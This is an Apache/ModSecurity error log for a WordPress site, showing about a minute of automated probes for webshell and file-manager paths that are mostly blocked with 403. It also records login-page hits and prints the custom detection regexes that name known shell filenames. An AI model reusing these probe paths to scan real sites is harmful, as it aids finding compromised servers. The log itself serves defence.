[Tue May 05 07:36:25.761045 2026] [:error] [pid 39178:tid 39183] [client 45.86.200.109:20737] [client 45.86.200.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "afkteTaPrgTaiOD_15tnDAAAAMM"]
[Tue May 05 07:36:26.299533 2026] [proxy_fcgi:error] [pid 39073:tid 39142] [client 45.86.200.86:48029] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:26.857058 2026] [:error] [pid 39073:tid 39140] [client 45.86.200.86:48029] [client 45.86.200.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "afktev0kT1BNjk46Bkcv6gAAAIY"]
[Tue May 05 07:36:27.397633 2026] [proxy_fcgi:error] [pid 39178:tid 39201] [client 45.86.200.80:42429] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:27.666954 2026] [proxy_fcgi:error] [pid 39178:tid 39189] [client 45.86.200.80:42429] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:27.932876 2026] [:error] [pid 39178:tid 39183] [client 45.86.200.80:42429] [client 45.86.200.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "afktezaPrgTaiOD_15tnWAAAAMM"]
[Tue May 05 07:36:28.746518 2026] [:error] [pid 41055:tid 41065] [client 45.86.200.90:57535] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "afktfCepFwKgA_SKOHjPEgAAAQc"]
[Tue May 05 07:36:29.279619 2026] [proxy_fcgi:error] [pid 39178:tid 39183] [client 45.86.200.95:25195] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:29.544340 2026] [:error] [pid 39178:tid 39196] [client 45.86.200.95:25195] [client 45.86.200.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "afktfTaPrgTaiOD_15tnnAAAANA"]
[Tue May 05 07:36:30.092912 2026] [proxy_fcgi:error] [pid 39073:tid 39158] [client 45.86.200.73:20801] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:30.959481 2026] [proxy_fcgi:error] [pid 39073:tid 39136] [client 45.86.200.73:20801] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:31.793605 2026] [:error] [pid 39073:tid 39142] [client 45.86.200.73:20801] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "afktf_0kT1BNjk46BkcwPgAAAIg"]
[Tue May 05 07:36:32.342310 2026] [proxy_fcgi:error] [pid 41055:tid 41063] [client 45.86.200.84:54727] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:32.611299 2026] [:error] [pid 41055:tid 41069] [client 45.86.200.84:54727] [client 45.86.200.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "afktgCepFwKgA_SKOHjPZQAAAQs"]
[Tue May 05 07:36:33.150693 2026] [proxy_fcgi:error] [pid 41055:tid 41070] [client 45.86.200.96:52729] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:33.697904 2026] [:error] [pid 41055:tid 41082] [client 45.86.200.96:52729] [client 45.86.200.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "afktgSepFwKgA_SKOHjPkQAAARg"]
[Tue May 05 07:36:34.530807 2026] [:error] [pid 39071:tid 39088] [client 45.86.200.76:36031] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "afktgovmnRMz9gRzix1oBgAAAAg"]
[Tue May 05 07:36:35.363662 2026] [proxy_fcgi:error] [pid 41055:tid 41080] [client 45.86.200.76:61341] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:35.643614 2026] [proxy_fcgi:error] [pid 41055:tid 41066] [client 45.86.200.76:61341] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:36.195376 2026] [:error] [pid 41055:tid 41072] [client 45.86.200.76:61341] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "afkthCepFwKgA_SKOHjP4QAAAQ4"]
[Tue May 05 07:36:37.040350 2026] [:error] [pid 39178:tid 39198] [client 45.86.200.54:33085] [client 45.86.200.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "afkthTaPrgTaiOD_15toRAAAANI"]
[Tue May 05 07:36:37.861030 2026] [:error] [pid 41055:tid 41063] [client 45.86.200.57:48439] [client 45.86.200.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "afkthSepFwKgA_SKOHjQEgAAAQU"]
[Tue May 05 07:36:38.425462 2026] [:error] [pid 39178:tid 39200] [client 45.86.200.93:31051] [client 45.86.200.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "afkthjaPrgTaiOD_15tocwAAANQ"]
[Tue May 05 07:36:38.978758 2026] [:error] [pid 39178:tid 39200] [client 45.86.200.53:20469] [client 45.86.200.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "afkthjaPrgTaiOD_15tofwAAANQ"]
[Tue May 05 07:36:40.072312 2026] [proxy_fcgi:error] [pid 41055:tid 41072] [client 45.86.200.53:53461] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:40.370485 2026] [:error] [pid 41055:tid 41063] [client 45.86.200.53:53461] [client 45.86.200.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "afktiCepFwKgA_SKOHjQXQAAAQU"]
[Tue May 05 07:36:40.904329 2026] [:error] [pid 39072:tid 39117] [client 45.86.200.76:24995] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "afktiPolSHl4aAnrIovu_gAAAEo"]
[Tue May 05 07:36:41.435189 2026] [:error] [pid 39178:tid 39186] [client 45.86.200.107:26571] [client 45.86.200.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "afktiTaPrgTaiOD_15totQAAAMY"]
[Tue May 05 07:36:42.515478 2026] [proxy_fcgi:error] [pid 39071:tid 39088] [client 45.86.200.76:65067] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:43.059747 2026] [proxy_fcgi:error] [pid 39071:tid 39099] [client 45.86.200.76:65067] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:43.329476 2026] [proxy_fcgi:error] [pid 39071:tid 39095] [client 45.86.200.76:65067] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:44.157020 2026] [:error] [pid 39071:tid 39092] [client 45.86.200.76:65067] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "afktjIvmnRMz9gRzix1oawAAAAw"]
[Tue May 05 07:36:45.551509 2026] [:error] [pid 39178:tid 39188] [client 45.86.200.95:53683] [client 45.86.200.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.95, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "afktjTaPrgTaiOD_15tpNAAAAMg"]
[Tue May 05 07:36:45.830309 2026] [proxy_fcgi:error] [pid 39178:tid 39189] [client 45.86.200.95:53683] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:47.217668 2026] [proxy_fcgi:error] [pid 39178:tid 39198] [client 45.86.200.95:53683] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:47.507577 2026] [proxy_fcgi:error] [pid 39178:tid 39194] [client 45.86.200.95:53683] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:48.915291 2026] [:error] [pid 39178:tid 39199] [client 45.86.200.95:53683] [client 45.86.200.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "afktkDaPrgTaiOD_15tpgAAAANM"]
[Tue May 05 07:36:49.752782 2026] [proxy_fcgi:error] [pid 39178:tid 39204] [client 45.86.200.60:39565] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:50.019654 2026] [:error] [pid 39178:tid 39192] [client 45.86.200.60:39565] [client 45.86.200.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.60, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "afktkjaPrgTaiOD_15tppgAAAMw"]
[Tue May 05 07:36:50.566108 2026] [:error] [pid 39178:tid 39182] [client 45.86.200.60:39565] [client 45.86.200.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "afktkjaPrgTaiOD_15tpugAAAMI"]
[Tue May 05 07:36:51.417645 2026] [proxy_fcgi:error] [pid 39072:tid 39120] [client 45.86.200.96:26411] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:52.258416 2026] [proxy_fcgi:error] [pid 39072:tid 39112] [client 45.86.200.96:26411] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:52.844570 2026] [proxy_fcgi:error] [pid 39072:tid 39118] [client 45.86.200.96:26411] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:53.437572 2026] [:error] [pid 39072:tid 39110] [client 45.86.200.96:26411] [client 45.86.200.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "afktlfolSHl4aAnrIovv4wAAAEM"]
[Tue May 05 07:36:55.100778 2026] [proxy_fcgi:error] [pid 39072:tid 39109] [client 45.86.200.83:20397] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:55.930256 2026] [proxy_fcgi:error] [pid 39072:tid 39113] [client 45.86.200.83:20397] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:56.500324 2026] [proxy_fcgi:error] [pid 39072:tid 39129] [client 45.86.200.83:20397] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:57.049808 2026] [proxy_fcgi:error] [pid 39072:tid 39112] [client 45.86.200.83:20397] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:57.325092 2026] [:error] [pid 39072:tid 39123] [client 45.86.200.83:20397] [client 45.86.200.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "afktmfolSHl4aAnrIovwJQAAAFA"]
[Tue May 05 07:36:57.867762 2026] [proxy_fcgi:error] [pid 39071:tid 39088] [client 45.86.200.74:52041] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:58.158882 2026] [proxy_fcgi:error] [pid 39071:tid 39086] [client 45.86.200.74:52041] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:58.427098 2026] [:error] [pid 39071:tid 39099] [client 45.86.200.74:52041] [client 45.86.200.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "afktmovmnRMz9gRzix1pAAAAABM"]
[Tue May 05 07:36:59.259110 2026] [proxy_fcgi:error] [pid 39072:tid 39115] [client 45.86.200.58:51057] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:36:59.800306 2026] [:error] [pid 39072:tid 39125] [client 45.86.200.58:51057] [client 45.86.200.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.58, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "afktm_olSHl4aAnrIovwTgAAAFI"]
[Tue May 05 07:37:00.070938 2026] [:error] [pid 39072:tid 39113] [client 45.86.200.58:51057] [client 45.86.200.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "afktnPolSHl4aAnrIovwUQAAAEY"]
[Tue May 05 07:37:03.387341 2026] [proxy_fcgi:error] [pid 41055:tid 41063] [client 185.82.72.4:21359] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:04.480779 2026] [proxy_fcgi:error] [pid 41055:tid 41061] [client 185.82.72.4:21359] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:05.024320 2026] [proxy_fcgi:error] [pid 41055:tid 41081] [client 185.82.72.4:21359] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:05.290189 2026] [:error] [pid 41055:tid 41082] [client 185.82.72.4:21359] [client 185.82.72.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "afktoSepFwKgA_SKOHjTAQAAARg"]
[Tue May 05 07:37:05.860456 2026] [proxy_fcgi:error] [pid 39178:tid 39200] [client 45.86.200.104:57143] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:08.155906 2026] [:error] [pid 39178:tid 39199] [client 45.86.200.104:57143] [client 45.86.200.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.104, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "afktpDaPrgTaiOD_15tsBQAAANM"]
[Tue May 05 07:37:08.450319 2026] [proxy_fcgi:error] [pid 39178:tid 39197] [client 45.86.200.104:57143] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:08.774910 2026] [proxy_fcgi:error] [pid 39178:tid 39192] [client 45.86.200.104:57143] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:09.063788 2026] [proxy_fcgi:error] [pid 39178:tid 39186] [client 45.86.200.104:57143] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:09.348879 2026] [:error] [pid 39178:tid 39204] [client 45.86.200.104:57143] [client 45.86.200.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "afktpTaPrgTaiOD_15tsPQAAANg"]
[Tue May 05 07:37:09.896503 2026] [proxy_fcgi:error] [pid 41055:tid 41066] [client 45.86.200.88:58705] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:10.200620 2026] [:error] [pid 41055:tid 41072] [client 45.86.200.88:58705] [client 45.86.200.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "afktpiepFwKgA_SKOHjTjQAAAQ4"]
[Tue May 05 07:37:11.025019 2026] [proxy_fcgi:error] [pid 39178:tid 39198] [client 185.82.72.3:26199] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:11.293322 2026] [:error] [pid 39178:tid 39191] [client 185.82.72.3:26199] [client 185.82.72.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "afktpzaPrgTaiOD_15tskQAAAMs"]
[Tue May 05 07:37:12.408306 2026] [proxy_fcgi:error] [pid 41055:tid 41067] [client 45.86.200.101:38413] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:12.670860 2026] [:error] [pid 41055:tid 41071] [client 45.86.200.101:38413] [client 45.86.200.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "afktqCepFwKgA_SKOHjTzwAAAQ0"]
[Tue May 05 07:37:13.225146 2026] [:error] [pid 39073:tid 39153] [client 45.86.200.100:48203] [client 45.86.200.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "afktqf0kT1BNjk46BkcyqAAAAJM"]
[Tue May 05 07:37:13.801843 2026] [proxy_fcgi:error] [pid 39178:tid 39193] [client 45.86.200.112:42011] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:14.084861 2026] [proxy_fcgi:error] [pid 39178:tid 39203] [client 45.86.200.112:42011] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:15.212882 2026] [:error] [pid 39178:tid 39188] [client 45.86.200.112:42011] [client 45.86.200.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "afktqzaPrgTaiOD_15ttMQAAAMg"]
[Tue May 05 07:37:16.046177 2026] [:error] [pid 39178:tid 39198] [client 45.86.200.85:38703] [client 45.86.200.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "afktrDaPrgTaiOD_15ttTwAAANI"]
[Tue May 05 07:37:16.587718 2026] [proxy_fcgi:error] [pid 41055:tid 41063] [client 45.86.200.54:59367] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:17.399293 2026] [:error] [pid 41055:tid 41066] [client 45.86.200.54:59367] [client 45.86.200.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "afktrSepFwKgA_SKOHjUXwAAAQg"]
[Tue May 05 07:37:17.967560 2026] [proxy_fcgi:error] [pid 39073:tid 39153] [client 45.86.200.78:62017] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:18.525738 2026] [proxy_fcgi:error] [pid 39073:tid 39155] [client 45.86.200.78:62017] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:18.805313 2026] [:error] [pid 39073:tid 39156] [client 45.86.200.78:62017] [client 45.86.200.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "afktrv0kT1BNjk46BkczBgAAAJY"]
[Tue May 05 07:37:19.345661 2026] [proxy_fcgi:error] [pid 39178:tid 39182] [client 45.86.200.102:40797] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:19.909504 2026] [:error] [pid 39178:tid 39192] [client 45.86.200.102:40797] [client 45.86.200.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "afktrzaPrgTaiOD_15tuDgAAAMw"]
[Tue May 05 07:37:20.450897 2026] [proxy_fcgi:error] [pid 39178:tid 39197] [client 45.86.200.81:49887] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:21.269061 2026] [:error] [pid 39178:tid 39191] [client 45.86.200.81:49887] [client 45.86.200.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "afktsTaPrgTaiOD_15tuZAAAAMs"]
[Tue May 05 07:37:22.085613 2026] [proxy_fcgi:error] [pid 39178:tid 39189] [client 45.86.200.51:38151] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:37:22.640546 2026] [proxy_fcgi:error] [pid 39178:tid 39193] [client 45.86.200.51:38151] AH01071: Got error 'Primary script unknown'
